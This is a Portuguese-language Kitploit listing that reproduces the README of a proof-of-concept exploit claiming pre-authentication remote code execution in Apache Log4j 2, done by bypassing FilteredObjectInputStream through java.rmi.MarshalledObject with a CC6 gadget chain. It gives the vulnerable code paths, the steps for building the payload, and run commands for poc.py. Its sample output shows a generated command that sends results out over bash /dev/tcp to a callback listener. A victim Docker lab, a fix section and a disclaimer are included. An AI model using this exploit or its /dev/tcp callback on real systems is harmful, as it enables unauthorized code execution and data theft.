Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4j2-rce — Pré-auth RCE via bypass de FilteredObjectInputStream MarshalledObject no Apache Log4j 2 | Kitploit
Ferramentas/GitHubGitHub/hypnguyen1209/log4j2-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de PayloadsExploração de Binários
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Pré-auth RCE via bypass de FilteredObjectInputStream MarshalledObject no Apache Log4j 2

Ver Repositório
195há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bypass do FilteredObjectInputStream do Log4j

RCE pré-autenticação em qualquer serviço Java que desserializa LogEvent através do FilteredObjectInputStream do Log4j. Nenhuma credencial necessária.

Reportado como GitHub issue #4255 em 24 de agosto de 2026.

O que ele faz

O Log4j inclui o FilteredObjectInputStream (FOIS) como um wrapper de desserialização seguro. Ele sobrescreve resolveClass() com uma lista de permissões para que apenas org.apache.logging.log4j.*, java.lang.*, java.util.* e algumas classes explícitas possam passar.

Uma dessas classes explícitas é java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- o problema
        ...);

MarshalledObject.get() cria um novo ObjectInputStream simples internamente. Sem filtro. Qualquer coisa encapsulada dentro de um MarshalledObject é desserializada sem restrições, contornando completamente a lista de permissões.

O próprio Log4j faz esse encapsulamento. LogEventProxy (o proxy de serialização para cada LogEvent) armazena a mensagem do evento em um campo MarshalledObject<Message>. Na desserialização, ele chama marshalledMessage.get() para recuperar a mensagem. Essa chamada cria o stream sem filtro. Fim de jogo.

Como o FOIS é contornado

O filtro só vê descritores de classe de nível superior no stream:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

O FOIS verifica LogEventProxy (pacote log4j, permitido), MarshalledObject (na lista de permissões) e byte[] (primitivo). Todos passam. A cadeia de gadgets CC6 está escondida dentro de MarshalledObject.objBytes como bytes brutos. O FOIS nunca a vê.

Quando LogEventProxy.readResolve() é executado:

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // ObjectInputStream sem filtro
        } catch (final Exception ex) {
            // ignore me
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() cria um ObjectInputStream simples, a cadeia CC6 é acionada e o comando é executado. O bloco catch engole a ClassCastException quando o resultado do gadget não é um Message, então o servidor responde normalmente. Sem erro, sem entrada de log.

Para comparação, ObjectMessage faz isso corretamente:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // cria um stream interno FILTRADO
}

LogEventProxy deveria usar o mesmo padrão, mas não usa.

Como o ataque funciona

root@kitploit:~
Atacante                                   Alvo (receptor baseado em FOIS)
   |                                              |
   |  HTTP POST /log                              |
   |  Corpo: LogEventProxy serializado            |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ pacote log4j
   |                   ├── resolveClass(MarshalledObject)  ✓ lista de permissões
   |                   └── resolveClass(byte[])            ✓ primitivo
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   SEM FILTRO
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

O servidor responde 200 e processa o evento como se nada tivesse acontecido.

Construção do payload

O truque é colocar a cadeia CC6 dentro de MarshalledObject.objBytes sem que ela seja acionada prematuramente.

GadgetMessage implementa Message e sobrescreve writeReplace() para retornar o gadget CC6:

  1. Construa um Log4jLogEvent com GadgetMessage como sua mensagem.
  2. Serialize-o. LogEventProxy.writeObject() chama marshall(message), que alimenta GadgetMessage no construtor do MarshalledObject.
  3. O construtor serializa GadgetMessage. writeReplace() é acionado e substitui pelo HashSet CC6.
  4. Agora MarshalledObject.objBytes contém a cadeia CC6. GadgetMessage nunca aparece no fio.

GadgetMessage existe apenas no lado do atacante. Não precisa estar no classpath do alvo.

Versões afetadas

ComponenteVulnerável
log4j-api (FilteredObjectInputStream)2.11.0 a 2.24.3
log4j-core (campo MarshalledObject do LogEventProxy)2.8.0 a 2.24.3

O alvo também precisa de uma biblioteca de gadgets no classpath. Este PoC usa Commons Collections 3.2.1 (cadeia CC6).

Executando

Requisitos: Java 11+, Maven, Python 3.10+, Docker (apenas para o laboratório da vítima)

Construa e inicie a vítima:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

Construa o exploit (ou deixe o poc.py fazer isso na primeira execução):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

Execute:

root@kitploit:~
# --lhost é o seu IP acessível a partir do alvo
# para o laboratório Docker no mesmo host, use o IP da ponte docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

Saída:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload desserializado
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

Porta de callback personalizada:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

Como o poc.py funciona

  1. Na primeira execução, chama mvn package em exploit/ para compilar o PayloadGenerator e baixar as dependências. Ignora nas execuções subsequentes.
  2. Executa java -cp exploit/target/... PayloadGenerator <cmd> no host. Gera um LogEvent serializado em base64 com CC6 dentro de um MarshalledObject.
  3. Abre um listener TCP em --lport (padrão 9999) para receber a saída do comando.
  4. Envia os bytes brutos como HTTP POST para o endpoint /log do alvo.
  5. O payload executa o comando no alvo e envia a saída de volta ao listener via bash /dev/tcp.

Arquivos

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # script de exploit
├── exploit/                        # atacante (executa no host)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message com writeReplace()
└── lab/                            # vítima (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # endpoint HTTP usando FOIS

lab/ é a vítima. HttpLogReceiver é um receptor de log HTTP que usa FilteredObjectInputStream. Configuração padrão, sem flags de depuração, sem fraquezas artificiais. Commons Collections no classpath como uma dependência transitiva realista.

exploit/ é a ferramenta do atacante. PayloadGenerator constrói o payload serializado no host. Nunca toca no contêiner da vítima.

Correção

  1. Remova java.rmi.MarshalledObject de REQUIRED_JAVA_CLASSES.
  2. Substitua o campo MarshalledObject<Message> em LogEventProxy por um byte[] serializado via SerializationUtil.writeWrappedObject() / readWrappedObject(). Esse é o mesmo padrão que ObjectMessage já usa corretamente.

Versões do Commons Collections

CC 3.2.1 e anteriores: InvokerTransformer serializa livremente. CC6 funciona como está.

CC 3.2.2 (novembro de 2015): Adicionou uma proteção de serialização em InvokerTransformer que bloqueia a cadeia a menos que org.apache.commons.collections.enableUnsafeSerialization seja true.

O bypass do filtro existe independentemente da versão do CC. A proteção do CC é defesa em profundidade na camada de gadgets, não uma correção para o filtro quebrado. Qualquer outra biblioteca de gadgets sem proteção (Groovy, BeanShell, Spring Beans, etc.) permite o mesmo ataque.

Limpeza

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

Legal

Apenas para testes autorizados. Obtenha permissão por escrito antes de executar isso contra qualquer coisa que você não possua.

Baixar ferramenta